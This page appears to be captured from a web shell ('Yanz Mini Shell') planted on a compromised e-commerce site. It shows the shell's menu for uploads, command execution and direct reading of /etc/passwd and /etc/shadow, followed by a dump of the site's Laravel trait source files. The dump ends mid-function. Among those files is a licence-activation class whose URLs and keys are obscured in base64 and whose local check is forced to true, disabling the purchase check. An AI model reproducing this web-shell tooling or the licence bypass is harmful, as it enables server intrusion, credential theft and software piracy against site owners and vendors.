Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
admin
web
uyoxpress.com
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
EmailTemplateTrait.php 0000644 00000011356 15007532267 0011021 0 ustar 00 <?php namespace App\Traits; use App\Mail\SendMail; use App\Models\EmailTemplate; use App\Models\SocialMedia; use App\Repositories\EmailTemplatesRepository; use App\Services\EmailTemplateService; use Illuminate\Support\Facades\Mail; trait EmailTemplateTrait { protected function textVariableFormat( $value, $userName = null, $adminName = null,$vendorName = null ,$shopName = null,$shopId = null, $deliveryManName = null,$orderId = null ,$emailId = null) { $data = $value; if ($data) { $data = $userName ? str_replace("{userName}", $userName, $data) : $data; $data = $vendorName ? str_replace("{vendorName}", $vendorName, $data) : $data; $data = $adminName ? str_replace("{adminName}", $adminName, $data) : $data; $data = $shopName ? str_replace("{shopName}", $shopName, $data) : $data; $data = $shopName ? str_replace("{shopId}", $shopId, $data) : $data; $data = $deliveryManName ? str_replace("{deliveryManName}", $deliveryManName, $data) : $data; $data = $orderId ? str_replace("{orderId}", $orderId, $data) : $data; $data = $emailId ? str_replace("{emailId}", $emailId, $data) : $data; } return $data; } protected function sendingMail($sendMailTo,$userType,$templateName,$data = null,):void { $template = EmailTemplate::with('translationCurrentLanguage')->where(['user_type'=>$userType,'template_name'=>$templateName])->first(); if ($template) { if (count($template['translationCurrentLanguage'])) { foreach ($template?->translationCurrentLanguage ?? [] as $translate) { $template['title'] = $translate->key == 'title' ? $translate->value : $template['title']; $template['body'] = $translate->key == 'body' ? $translate->value : $template['body']; $template['footer_text'] = $translate->key == 'copyright_text' ? $translate->value : $template['footer_text']; $template['copyright_text'] = $translate->key == 'footer_text' ? $translate->value : $template['copyright_text']; $template['button_name'] = $translate->key == 'button_name' ? $translate->value : $template['button_name']; } } $socialMedia = SocialMedia::where(['status'=>1])->get(); $template['body'] = $this->textVariableFormat( value:$template['body'], userName: $data['userName']??null, adminName: $data['adminName']??null, vendorName: $data['vendorName']??null, shopName: $data['shopName']??null, shopId: $data['shopId']??null, deliveryManName: $data['deliveryManName']??null, orderId: $data['orderId']??null, emailId: $data['emailId']??null ); $template['title'] = $this->textVariableFormat( value:$template['title'], userName: $data['userName']??null, adminName: $data['adminName']??null, vendorName: $data['vendorName']??null, shopName: $data['shopName']??null, deliveryManName: $data['deliveryManName']??null, orderId: $data['orderId']??null ); $data['send-mail'] = true; if($template['status'] ==1){ try{ Mail::to($sendMailTo)->send(new SendMail($data,$template,$socialMedia)); }catch(\Exception $exception) { info($exception); } } } } public function getEmailTemplateDataForUpdate($userType):void { $emailTemplates = EmailTemplate::where(['user_type'=>$userType])->get(); $emailTemplateArray = (new EmailTemplateService)->getEmailTemplateData(userType: $userType); foreach ($emailTemplateArray as $value ){ $checkKey = $emailTemplates->where('template_name',$value)->first(); if($checkKey === null){ $hideField = (new EmailTemplateService)->getHiddenField(userType:$userType,templateName:$value); $title = (new EmailTemplateService)->getTitleData(userType:$userType,templateName:$value); $body = (new EmailTemplateService)->getBodyData(userType:$userType,templateName:$value); $addData = (new EmailTemplateService)->getAddData(userType: $userType, templateName: $value,hideField:$hideField,title: $title,body: $body); EmailTemplate::create($addData); } } foreach ($emailTemplates as $value ){ if (!in_array($value['template_name'], $emailTemplateArray)) { EmailTemplate::find($value['id'])->delete(); } } } } FileManagerTrait.php 0000644 00000005616 15007532267 0010452 0 ustar 00 <?php namespace App\Traits; use Carbon\Carbon; use Illuminate\Support\Facades\Storage; use Intervention\Image\Facades\Image; trait FileManagerTrait { /** * upload method working for image * @param string $dir * @param string $format * @param $image * @return string */ protected function upload(string $dir, string $format, $image = null): string { if (!is_null($image)) { $isOriginalImage = in_array($image->getClientOriginalExtension(), ['gif', 'svg']); if($isOriginalImage){ $imageName = Carbon::now()->toDateString() . "-" . uniqid() . "." . $image->getClientOriginalExtension(); }else{ $image_webp = Image::make($image)->encode($format); $imageName = Carbon::now()->toDateString() . "-" . uniqid() . "." . $format; } if (!Storage::disk('public')->exists($dir)) { Storage::disk('public')->makeDirectory($dir); } if($isOriginalImage) { Storage::disk('public')->put($dir . $imageName, file_get_contents($image)); }else{ Storage::disk('public')->put($dir . $imageName, $image_webp); $image_webp->destroy(); } } else { $imageName = 'def.png'; } return $imageName; } /** * @param string $dir * @param string $format * @param $file * @return string */ public function fileUpload(string $dir, string $format, $file = null): string { if (!is_null($file)) { $fileName = Carbon::now()->toDateString() . "-" . uniqid() . "." . $format; if (!Storage::disk('public')->exists($dir)) { Storage::disk('public')->makeDirectory($dir); } Storage::disk('public')->put($dir . $fileName, file_get_contents($file)); } else { $fileName = 'def.png'; } return $fileName; } /** * @param string $dir * @param $oldImage * @param string $format * @param $image * @param string $fileType image/file * @return string */ public function update(string $dir, $oldImage, string $format, $image, string $fileType = 'image'): string { if (Storage::disk('public')->exists($dir . $oldImage)) { Storage::disk('public')->delete($dir . $oldImage); } return $fileType == 'file' ? $this->fileUpload($dir, $format, $image) : $this->upload($dir, $format, $image); } /** * @param string $filePath * @return array */ protected function delete(string $filePath): array { if (Storage::disk('public')->exists($filePath)) { Storage::disk('public')->delete($filePath); } return [ 'success' => 1, 'message' => translate('Removed_successfully') ]; } } Util.php 0000644 00000000105 15007532267 0006175 0 ustar 00 <?php namespace App\Traits; use App\Models\Color; trait Util { } ResponseHandler.php 0000644 00000001111 15007532267 0010352 0 ustar 00 <?php namespace App\Traits; trait ResponseHandler { public function responseFormatter($constant, $content = null, $errors = []): array { $constant = (array)$constant; $constant['content'] = $content; $constant['errors'] = $errors; return $constant; } public function errorProcessor($validator): array { $errors = []; foreach ($validator->errors()->getMessages() as $index => $error) { $errors[] = ['error_code' => $index, 'message' => translate($error[0])]; } return $errors; } } PushNotificationTrait.php 0000644 00000037067 15007532267 0011573 0 ustar 00 <?php namespace App\Traits; use App\Models\NotificationMessage; use App\Models\Order; use Illuminate\Support\Facades\Http; trait PushNotificationTrait { use CommonTrait; /** * @param string $key * @param string $type * @param object|array $order * @return void * push notification order related */ protected function sendOrderNotification(string $key, string $type, object|array $order): void { try { $lang = getDefaultLanguage(); /** for customer */ if ($type == 'customer') { $fcmToken = $order->customer?->cm_firebase_token; $lang = $order->customer?->app_language ?? $lang; $value = $this->pushNotificationMessage($key, 'customer', $lang); $value = $this->textVariableDataFormat(value: $value, key: $key, userName: "{$order->customer?->f_name} {$order->customer?->l_name}", shopName: $order->seller?->shop?->name, deliveryManName: "{$order->deliveryMan?->f_name} {$order->deliveryMan?->l_name}", time: now()->diffForHumans(), orderId: $order->id); if ($fcmToken && $value) { $data = [ 'title' => translate('order'), 'description' => $value, 'order_id' => $order['id'], 'image' => '', 'type' => 'order' ]; $this->sendPushNotificationToDevice($fcmToken, $data); } } /** end for customer */ /**for seller */ if ($type == 'seller') { $sellerFcmToken = $order->seller?->cm_firebase_token; if ($sellerFcmToken) { $lang = $order->seller?->app_language ?? $lang; $value_seller = $this->pushNotificationMessage($key, 'seller', $lang); $value_seller = $this->textVariableDataFormat(value: $value_seller, key: $key, userName: "{$order->customer?->f_name} {$order->customer?->l_name}", shopName: $order->seller?->shop?->name, deliveryManName: "{$order->deliveryMan?->f_name} {$order->deliveryMan?->l_name}", time: now()->diffForHumans(), orderId: $order->id); if ($value_seller != null) { $data = [ 'title' => translate('order'), 'description' => $value_seller, 'order_id' => $order['id'], 'image' => '', 'type' => 'order' ]; $this->sendPushNotificationToDevice($sellerFcmToken, $data); } } } /**end for seller */ /** for delivery man*/ if ($type == 'delivery_man') { $fcmTokenDeliveryMan = $order->deliveryMan?->fcm_token; $lang = $order->deliveryMan?->app_language ?? $lang; $value_delivery_man = $this->pushNotificationMessage($key, 'delivery_man', $lang); $value_delivery_man = $this->textVariableDataFormat(value: $value_delivery_man, key: $key, userName: "{$order->customer?->f_name} {$order->customer?->l_name}", shopName: $order->seller?->shop?->name, deliveryManName: "{$order->deliveryMan?->f_name} {$order->deliveryMan?->l_name}", time: now()->diffForHumans(), orderId: $order->id); $data = [ 'title' => translate('order'), 'description' => $value_delivery_man, 'order_id' => $order['id'], 'image' => '', 'type' => 'order' ]; if ($order->delivery_man_id) { self::add_deliveryman_push_notification($data, $order->delivery_man_id); } if ($fcmTokenDeliveryMan) { $this->sendPushNotificationToDevice($fcmTokenDeliveryMan, $data); } } /** end delivery man*/ } catch (\Exception $e) { } } /** * chatting related push notification * @param string $key * @param string $type * @param object $userData * @param object $messageForm * @return void */ protected function chattingNotification(string $key, string $type, object $userData, object $messageForm): void { try { $fcm_token = $type == 'delivery_man' ? $userData?->fcm_token : $userData?->cm_firebase_token; if ($fcm_token) { $lang = $userData?->app_language ?? getDefaultLanguage(); $value = $this->pushNotificationMessage($key, $type, $lang); $value = $this->textVariableDataFormat( value: $value, key: $key, userName: "{$messageForm?->f_name} ", shopName: "{$messageForm?->shop?->name}", deliveryManName: "{$messageForm?->f_name}", time: now()->diffForHumans() ); $data = [ 'title' => translate('message'), 'description' => $value, 'order_id' => '', 'image' => '', 'type' => 'chatting' ]; $this->sendPushNotificationToDevice($fcm_token, $data); } } catch (\Exception $exception) { dd($exception); } } protected function withdrawStatusUpdateNotification(string $key, string $type, string $lang, int $status, string $fcmToken): void { $value = $this->pushNotificationMessage($key, $type, $lang); if ($value != null) { $data = [ 'title' => translate('withdraw_request_' . ($status == 1 ? 'approved' : 'denied')), 'description' => $value, 'image' => '', 'type' => 'notification' ]; $this->sendPushNotificationToDevice($fcmToken, $data); } } protected function customerStatusUpdateNotification(string $key, string $type, string $lang, string $status, string $fcmToken): void { $value = $this->pushNotificationMessage($key, $type, $lang); if ($value != null) { $data = [ 'title' => translate('your_account_has_been' . '_' . $status), 'description' => $value, 'image' => '', 'type' => 'block' ]; $this->sendPushNotificationToDevice($fcmToken, $data); } } protected function productRequestStatusUpdateNotification(string $key, string $type, string $lang, string $fcmToken): void { $value = $this->pushNotificationMessage($key, $type, $lang); if ($value != null) { $data = [ 'title' => translate($key), 'description' => $value, 'image' => '', 'type' => 'notification' ]; $this->sendPushNotificationToDevice($fcmToken, $data); } } protected function cashCollectNotification(string $key, string $type, string $lang, float $amount, string $fcmToken): void { $value = $this->pushNotificationMessage($key, $type, $lang); if ($value != null) { $data = [ 'title' => currencyConverter($amount) . ' ' . translate('_cash_deposit'), 'description' => $value, 'image' => '', 'type' => 'notification' ]; $this->sendPushNotificationToDevice($fcmToken, $data); } } /** * push notification variable message format */ protected function textVariableDataFormat($value, $key = null, $userName = null, $shopName = null, $deliveryManName = null, $time = null, $orderId = null) { $data = $value; if ($data) { $order = $orderId ? Order::find($orderId) : null; $data = $userName ? str_replace("{userName}", $userName, $data) : $data; $data = $shopName ? str_replace("{shopName}", $shopName, $data) : $data; $data = $deliveryManName ? str_replace("{deliveryManName}", $deliveryManName, $data) : $data; $data = $key == 'expected_delivery_date' ? ($order ? str_replace("{time}", $order->expected_delivery_date, $data) : $data) : ($time ? str_replace("{time}", $time, $data) : $data); $data = $orderId ? str_replace("{orderId}", $orderId, $data) : $data; } return $data; } /** * push notification variable message * @param string $key * @param string $userType * @param string $lang * @return false|int|mixed|void */ protected function pushNotificationMessage(string $key, string $userType, string $lang) { try { $notificationKey = [ 'pending' => 'order_pending_message', 'confirmed' => 'order_confirmation_message', 'processing' => 'order_processing_message', 'out_for_delivery' => 'out_for_delivery_message', 'delivered' => 'order_delivered_message', 'returned' => 'order_returned_message', 'failed' => 'order_failed_message', 'canceled' => 'order_canceled', 'order_refunded_message' => 'order_refunded_message', 'refund_request_canceled_message' => 'refund_request_canceled_message', 'new_order_message' => 'new_order_message', 'order_edit_message' => 'order_edit_message', 'new_order_assigned_message' => 'new_order_assigned_message', 'delivery_man_assign_by_admin_message' => 'delivery_man_assign_by_admin_message', 'order_rescheduled_message' => 'order_rescheduled_message', 'expected_delivery_date' => 'expected_delivery_date', 'message_from_admin' => 'message_from_admin', 'message_from_seller' => 'message_from_seller', 'message_from_delivery_man' => 'message_from_delivery_man', 'message_from_customer' => 'message_from_customer', 'refund_request_status_changed_by_admin' => 'refund_request_status_changed_by_admin', 'withdraw_request_status_message' => 'withdraw_request_status_message', 'cash_collect_by_seller_message' => 'cash_collect_by_seller_message', 'cash_collect_by_admin_message' => 'cash_collect_by_admin_message', 'fund_added_by_admin_message' => 'fund_added_by_admin_message', 'delivery_man_charge' => 'delivery_man_charge', 'product_request_approved_message' => 'product_request_approved_message', 'product_request_rejected_message' => 'product_request_rejected_message', 'customer_block_message' => 'customer_block_message', 'customer_unblock_message' => 'customer_unblock_message', ]; $data = NotificationMessage::with(['translations' => function ($query) use ($lang) { $query->where('locale', $lang); }])->where(['key' => $notificationKey[$key], 'user_type' => $userType])->first() ?? ["status" => 0, "message" => "", "translations" => []]; if ($data) { if ($data['status'] == 0) { return 0; } return count($data->translations) > 0 ? $data->translations[0]->value : $data['message']; } else { return false; } } catch (\Exception $exception) { } } protected function demoResetNotification(): void { try { $data = [ 'title' => translate('demo_reset_alert'), 'description' => translate('demo_data_is_being_reset_to_default') . '.', 'image' => '', 'order_id' => '', 'type' => 'demo_reset', ]; $this->sendPushNotificationToTopic(data: $data, topic: $data['type']); } catch (\Throwable $th) { info('Failed_to_sent_demo_reset_notification'); } } /** * Device wise notification send * @param string $fcmToken * @param array $data * @return bool|string */ protected function sendPushNotificationToDevice(string $fcmToken, array $data): bool|string { $postData = [ 'message' => [ 'token' => $fcmToken, 'data' => [ 'title' => (string)$data['title'], 'body' => (string)$data['description'], 'image' => $data['image'], 'order_id' =>(string)($data['order_id'] ?? ''), 'type' => (string)$data['type'], 'is_read' => '0' ], 'notification' => [ 'title' => (string)$data['title'], 'body' => (string)$data['description'], ] ] ]; return $this->sendNotificationToHttp($postData); } /** * Device wise notification send * @param array|object $data * @param string $topic * @return bool|string */ protected function sendPushNotificationToTopic(array|object $data, string $topic = 'sixvalley'): bool|string { $postData = [ 'message' => [ 'topic' => $topic, 'data' => [ 'title' => (string)$data['title'], 'body' => (string)$data['description'], 'image' => $data['image'], 'order_id' => (string)$data['order_id'] ?? '', 'type' => (string)$data['type'], 'is_read' => '0' ], 'notification' => [ 'title' => (string)$data['title'], 'body' => (string)$data['description'], ] ] ]; return $this->sendNotificationToHttp($postData); } protected function sendNotificationToHttp(array|null $data):bool|string|null { try { $key = (array)getWebConfig('push_notification_key'); if(isset($key['project_id'])){ $url = 'https://fcm.googleapis.com/v1/projects/'.$key['project_id'].'/messages:send'; $headers = [ 'Authorization' => 'Bearer ' . $this->getAccessToken($key), 'Content-Type' => 'application/json', ]; } return Http::withHeaders($headers)->post($url, $data); }catch (\Exception $exception){ return false; } } protected function getAccessToken($key):String { $jwtToken = [ 'iss' => $key['client_email'], 'scope' => 'https://www.googleapis.com/auth/firebase.messaging', 'aud' => 'https://oauth2.googleapis.com/token', 'exp' => time() + 3600, 'iat' => time(), ]; $jwtHeader = base64_encode(json_encode(['alg' => 'RS256', 'typ' => 'JWT'])); $jwtPayload = base64_encode(json_encode($jwtToken)); $unsignedJwt = $jwtHeader . '.' . $jwtPayload; openssl_sign($unsignedJwt, $signature, $key['private_key'], OPENSSL_ALGO_SHA256); $jwt = $unsignedJwt . '.' . base64_encode($signature); $response = Http::asForm()->post('https://oauth2.googleapis.com/token', [ 'grant_type' => 'urn:ietf:params:oauth:grant-type:jwt-bearer', 'assertion' => $jwt, ]); return $response->json('access_token'); } } ActivationClass.php 0000644 00000006661 15007532267 0010364 0 ustar 00 <?php namespace App\Traits; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Session; trait ActivationClass { public function dmvf($request) { if (self::is_local()) { Session::put(base64_decode('cHVyY2hhc2Vfa2V5'), $request[base64_decode('cHVyY2hhc2Vfa2V5')]);//pk Session::put(base64_decode('dXNlcm5hbWU='), $request[base64_decode('dXNlcm5hbWU=')]);//un return base64_decode('c3RlcDM=');//s3 } else { $remove = array("http://", "https://", "www."); $url = str_replace($remove, "", url('/')); $post = [ base64_decode('dXNlcm5hbWU=') => $request[base64_decode('dXNlcm5hbWU=')],//un base64_decode('cHVyY2hhc2Vfa2V5') => $request[base64_decode('cHVyY2hhc2Vfa2V5')],//pk base64_decode('c29mdHdhcmVfaWQ=') => base64_decode(env(base64_decode('U09GVFdBUkVfSUQ='))),//sid base64_decode('ZG9tYWlu') => $url ]; try { $response = Http::post(base64_decode('aHR0cHM6Ly9jaGVjay42YW10ZWNoLmNvbS9hcGkvdjEvZG9tYWluLWNoZWNr'), $post)->json(); $status = $response['active'] ?? base64_encode(1); if (base64_decode($status)) { Session::put(base64_decode('cHVyY2hhc2Vfa2V5'), $request[base64_decode('cHVyY2hhc2Vfa2V5')]);//pk Session::put(base64_decode('dXNlcm5hbWU='), $request[base64_decode('dXNlcm5hbWU=')]);//un return base64_decode('c3RlcDM=');//s3 } else { return base64_decode('aHR0cHM6Ly82YW10ZWNoLmNvbS9zb2Z0d2FyZS1hY3RpdmF0aW9u'); } } catch (\Exception $exception) { Session::put(base64_decode('cHVyY2hhc2Vfa2V5'), $request[base64_decode('cHVyY2hhc2Vfa2V5')]);//pk Session::put(base64_decode('dXNlcm5hbWU='), $request[base64_decode('dXNlcm5hbWU=')]);//un return base64_decode('c3RlcDM=');//s3 } } } public function actch() { if (self::is_local()) { return response()->json([ 'active' => 1 ]); } else { $remove = array("http://", "https://", "www."); $url = str_replace($remove, "", url('/')); $post = [ base64_decode('dXNlcm5hbWU=') => env(base64_decode('QlVZRVJfVVNFUk5BTUU=')),//un base64_decode('cHVyY2hhc2Vfa2V5') => env(base64_decode('UFVSQ0hBU0VfQ09ERQ==')),//pk base64_decode('c29mdHdhcmVfaWQ=') => base64_decode(env(base64_decode('U09GVFdBUkVfSUQ='))),//sid base64_decode('ZG9tYWlu') => $url, ]; try { $response = Http::post(base64_decode('aHR0cHM6Ly9jaGVjay42YW10ZWNoLmNvbS9hcGkvdjEvYWN0aXZhdGlvbi1jaGVjaw=='), $post)->json(); $status = $response['active'] ?? base64_encode(1); return response()->json([ 'active' => (int)base64_decode($status) ]); } catch (\Exception $exception) { return response()->json([ 'active' => 1 ]); } } } public function is_local(): bool { return true; $whitelist = array( '127.0.0.1', '::1' ); if (!in_array(request()->ip(), $whitelist)) { return false; } return true; } } SmsGateway.php 0000644 00000053512 15007532267 0007356 0 ustar 00 <?php namespace App\Traits; use App\Models\Setting; use SimpleXMLElement; use Twilio\Rest\Client; use Illuminate\Support\Facades\Http; use GuzzleHttp\Client as HpptClient; trait SmsGateway { public static function send($receiver, $otp): string { $config = self::get_settings('twilio'); if (isset($config) && $config['status'] == 1) { return self::twilio($receiver, $otp); } $config = self::get_settings('nexmo'); if (isset($config) && $config['status'] == 1) { return self::nexmo($receiver, $otp); } $config = self::get_settings('2factor'); if (isset($config) && $config['status'] == 1) { return self::two_factor($receiver, $otp); } $config = self::get_settings('msg91'); if (isset($config) && $config['status'] == 1) { return self::msg_91($receiver, $otp); } $config = self::get_settings('releans'); if (isset($config) && $config['status'] == 1) { return self::releans($receiver, $otp); } $config = self::get_settings('hubtel'); if (isset($config) && $config['status'] == 1) { return self::hubtel($receiver, $otp); } $config = self::get_settings('paradox'); if (isset($config) && $config['status'] == 1) { return self::paradox($receiver, $otp); } $config = self::get_settings('signal_wire'); if (isset($config) && $config['status'] == 1) { return self::signal_wire($receiver, $otp); } $config = self::get_settings('019_sms'); if (isset($config) && $config['status'] == 1) { return self::sms_019($receiver, $otp); } $config = self::get_settings('viatech'); if (isset($config) && $config['status'] == 1) { return self::viatech($receiver, $otp); } $config = self::get_settings('global_sms'); if (isset($config) && $config['status'] == 1) { return self::global_sms($receiver, $otp); } $config = self::get_settings('akandit_sms'); if (isset($config) && $config['status'] == 1) { return self::akandit_sms($receiver, $otp); } $config = self::get_settings('sms_to'); if (isset($config) && $config['status'] == 1) { return self::sms_to($receiver, $otp); } $config = self::get_settings('alphanet_sms'); if (isset($config) && $config['status'] == 1) { return self::alphanet_sms($receiver, $otp); } return 'not_found'; } public static function twilio($receiver, $otp): string { $config = self::get_settings('twilio'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $message = str_replace("#OTP#", $otp, $config['otp_template']); $sid = $config['sid']; $token = $config['token']; try { $twilio = new Client($sid, $token); $twilio->messages ->create($receiver, // to array( "messagingServiceSid" => $config['messaging_service_sid'], "body" => $message ) ); $response = 'success'; } catch (\Exception $exception) { $response = 'error'; } } return $response; } public static function nexmo($receiver, $otp): string { $config = self::get_settings('nexmo'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $message = str_replace("#OTP#", $otp, $config['otp_template']); try { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://rest.nexmo.com/sms/json'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "from=".$config['from']."&text=".$message."&to=".$receiver."&api_key=".$config['api_key']."&api_secret=".$config['api_secret']); $headers = array(); $headers[] = 'Content-Type: application/x-www-form-urlencoded'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $result = curl_exec($ch); if (curl_errno($ch)) { echo 'Error:' . curl_error($ch); } curl_close($ch); $response = 'success'; } catch (\Exception $exception) { $response = 'error'; } } return $response; } public static function two_factor($receiver, $otp): string { $config = self::get_settings('2factor'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $api_key = $config['api_key']; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://2factor.in/API/V1/" . $api_key . "/SMS/" . $receiver . "/" . $otp . "", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "GET", )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if (!$err) { $response = 'success'; } else { $response = 'error'; } } return $response; } public static function msg_91($receiver, $otp): string { $config = self::get_settings('msg91'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $receiver = str_replace("+", "", $receiver); $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://api.msg91.com/api/v5/otp?template_id=" . $config['template_id'] . "&mobile=" . $receiver . "&authkey=" . $config['auth_key'] . "", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "GET", CURLOPT_POSTFIELDS => "{\"OTP\":\"$otp\"}", CURLOPT_HTTPHEADER => array( "content-type: application/json" ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if (!$err) { $response = 'success'; } else { $response = 'error'; } } return $response; } public static function releans($receiver, $otp): string { $config = self::get_settings('releans'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $curl = curl_init(); $from = $config['from']; $to = $receiver; $message = str_replace("#OTP#", $otp, $config['otp_template']); try { curl_setopt_array($curl, array( CURLOPT_URL => "https://api.releans.com/v2/message", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "sender=$from&mobile=$to&content=$message", CURLOPT_HTTPHEADER => array( "Authorization: Bearer " . $config['api_key'] ), )); $response = curl_exec($curl); curl_close($curl); $response = 'success'; } catch (\Exception $exception) { $response = 'error'; } } return $response; } public static function hubtel($receiver, $otp) { $config = self::get_settings('hubtel'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $receiver = str_replace("+", "", $receiver); $message = urlencode(str_replace("#OTP#", $otp, $config['otp_template'])); $client_id = $config['client_id']; $client_secret = $config['client_secret']; $sender_id = $config['sender_id']; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "https://sms.hubtel.com/v1/messages/send?clientsecret=".$client_secret."&clientid=".$client_id."&from=".$sender_id."&to=".$receiver."&content=".$message."", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "GET", CURLOPT_HTTPHEADER => array( "content-type: application/json" ), )); $response = curl_exec($curl); $error = curl_error($curl); curl_close($curl); if (!$error) { $response = 'success'; } else { $response = 'error'; } } return $response; } public static function paradox($receiver, $otp) { $config = self::get_settings('paradox'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $receiver = str_replace("+", "", $receiver); $message = str_replace("#OTP#",$otp,"Your otp is #OTP#."); $postRequest = array( "sender" => $config['sender_id'], "message" => $message, "phone" => $receiver, ); $cURLConnection = curl_init('http://portal.paradox.co.ke/api/v1/send-sms'); curl_setopt($cURLConnection, CURLOPT_POSTFIELDS, json_encode($postRequest, true)); curl_setopt($cURLConnection, CURLOPT_RETURNTRANSFER, true); curl_setopt($cURLConnection, CURLOPT_HTTPHEADER, array( "Content-type: application/json", "Accept: application/json", "Authorization: Bearer ".$config['api_key'] )); $response = curl_exec($cURLConnection); $err = curl_error($cURLConnection); curl_close($cURLConnection); if (!$err) { $response = 'success'; } else { $response = 'error'; } } return $response; } public static function signal_wire($receiver, $otp) { $config = self::get_settings('signal_wire'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $message = str_replace("#OTP#",$otp,"Your otp is #OTP#."); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://".$config['space_url']."/api/laml/2010-04-01/Accounts/".$config['project_id']."/Messages"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type' => 'application/x-www-form-urlencoded', ]); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, $config['project_id']. ':' .$config['token']); curl_setopt($ch, CURLOPT_POSTFIELDS, "From=".$config['from']."&To=".$receiver."&Body=".$message); $response = curl_exec($ch); $error = curl_error($ch); curl_close($ch); if (!$error) { $response = 'success'; } else { $response = 'error'; } } return $response; } public static function sms_019($receiver, $otp) { $config = self::get_settings('019_sms'); if(isset($config['api']['expiration_date']) && strtotime($config['api']['expiration_date']) <= strtotime("now")) { self::generate_019_api(); $config = self::get_settings('019_sms'); } $response = 'error'; if (isset($config) && $config['status'] == 1) { $curl = curl_init(); $key = $config['api']['key']; $message = str_replace("#OTP#", $otp, $config['otp_template']); curl_setopt_array($curl, array( CURLOPT_URL => "https://www.019sms.co.il/api", CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => "<?xml version='1.0' encoding='UTF-8'?> \r\n <sms>\r\n <user>\r\n <username>my_username</username> \r\n </user>\r\n <source>{$config['sender']}</source> \r\n <destinations>\r\n <phone id='someid1'>" . $receiver . "</phone> \r\n </destinations>\r\n <message>" . $message . "</message>\r\n </sms>", CURLOPT_HTTPHEADER => array( "Cache-Control: no-cache", "Content-Type: application/xml", "Authorization: Bearer " . $key ), )); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { $response = 'error'; } else { $response = 'success'; } } return $response; } public static function generate_019_api() { $config = self::get_settings('019_sms'); $xml="<?xml version='1.0' encoding='UTF-8'?> <getApiToken> <user> <username>{$config['username']}</username> <password>{$config['password']}</password> </user> <username>{$config['username_for_token']}</username> <action>new</action> </getApiToken>"; $options = [ 'headers' => [ 'Content-Type' => 'text/xml; charset=UTF8' ], 'body' => $xml ]; try { $client = new HpptClient(); $response = $client->request('POST', "https://www.019sms.co.il/api", $options); $data = (Array)new SimpleXMLElement($response->getBody()->getContents()); if(isset($data['status']) && $data['status']==0) { $config['api']=[ 'key'=>$data['message'], 'expiration_date'=>$data['expiration_date'] ]; Setting::where('key_name', '019_sms') ->where('settings_type', 'sms_config')->update([ 'test_values'=>json_encode($config), 'live_values'=>json_encode($config) ]); return true; } info($data); }catch(\Exception $ex) { info($ex); } return false; } public static function viatech($receiver, $otp) { $config = self::get_settings('viatech'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $message = str_replace("#OTP#", $otp, $config['otp_template']); $api_key = $config['api_key']; $sender_id = $config['sender_id']; $url = $config['api_url']; $data = [ "api_key" => $api_key, "type" => "text", "contacts" => $receiver, "senderid" => $sender_id, "msg" => $message, ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); curl_close($ch); if(!is_numeric($response) && substr($response, 0, 13) == "SMS SUBMITTED") { $response = 'success'; } else{ $response = 'error'; } } return $response; } public static function global_sms($receiver, $otp) { $config = self::get_settings('global_sms'); $response = 'error'; if (isset($config) && $config['status'] == 1) { $message = urlencode(urlencode(urlencode(str_replace("#OTP#", $otp, $config['otp_template'])))); 